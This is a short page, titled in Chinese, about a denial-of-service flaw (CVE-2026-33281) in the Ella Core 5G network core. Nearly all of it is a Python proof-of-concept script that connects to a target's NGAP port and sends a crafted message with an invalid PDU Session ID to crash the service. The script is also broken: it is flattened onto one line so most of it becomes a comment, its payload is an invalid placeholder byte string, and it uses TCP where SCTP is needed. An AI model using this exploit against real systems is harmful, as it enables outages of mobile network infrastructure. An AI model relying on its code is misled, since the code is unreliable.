CVE-2026-33281 Ella Core NGAP消息拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33281 # This script demonstrates the logic to send a crafted NGAP message with an invalid PDU Session ID. # Note: Actual NGAP message construction requires ASN.1 encoding libraries (e.g., asn1crypto). import socket def send_malicious_ngap(target_ip, target_port): """ Sends a crafted packet to trigger the panic in Ella Core < 1.6.0 """ # In a real exploit, this payload would be a valid NGAP PDU structure # but with the 'PDU Session ID' Information Element set to 0 or > 15. # For demonstration purposes, we simulate sending a byte stream. # Placeholder for malicious payload structure: # NGAP PDU -> InitialUEMessage -> PDU Session ID (Invalid: 0) malicious_payload = b"\x00\x1c\x40\x..." print(f"[*] Sending crafted NGAP message to {target_ip}:{target_port}...") try: # NGAP typically runs over SCTP, but TCP/UDP might be used in some test environments. # Adjust socket type as necessary (socket.IPPROTO_SCTP). sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.send(malicious_payload) print("[+] Payload sent successfully.") print("[+] Check if the Ella Core process has crashed.") sock.close() except Exception as e: print(f"[-] Error sending payload: {e}") if __name__ == "__main__": TARGET_IP = "192.168.X.X" # Replace with actual target IP TARGET_PORT = 38412 # Standard NGAP/SCTP port (example) send_malicious_ngap(TARGET_IP, TARGET_PORT)